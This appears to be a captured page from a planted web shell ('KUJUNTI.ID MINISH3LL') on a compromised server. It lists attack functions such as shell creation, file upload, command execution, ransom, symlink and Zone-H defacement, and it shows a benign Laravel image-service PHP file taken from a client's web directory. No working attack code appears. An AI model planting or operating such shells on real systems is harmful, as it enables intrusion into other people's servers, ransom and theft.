KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Services/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Services/ImageService.php


<?php
    namespace App\Services;

use App\Repositories\ImageRepository;
use App\Repositories\RubricRepository;

class ImageService
{
    protected $imageRepository;
    protected $rubricRepository;
    public function __construct(ImageRepository $imageRepository)
    {
        $this->imageRepository = $imageRepository;
        $this->rubricRepository = new RubricRepository();
    }
    public function getImages($limit){
        $rubrics = $this->rubricRepository->findRubrics();
        $images = null;
        foreach ($rubrics as $key => $rubric) {
            $images = $this->imageRepository->findImagesByRubricId($rubric->id,$limit);
        }
        return $images;
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support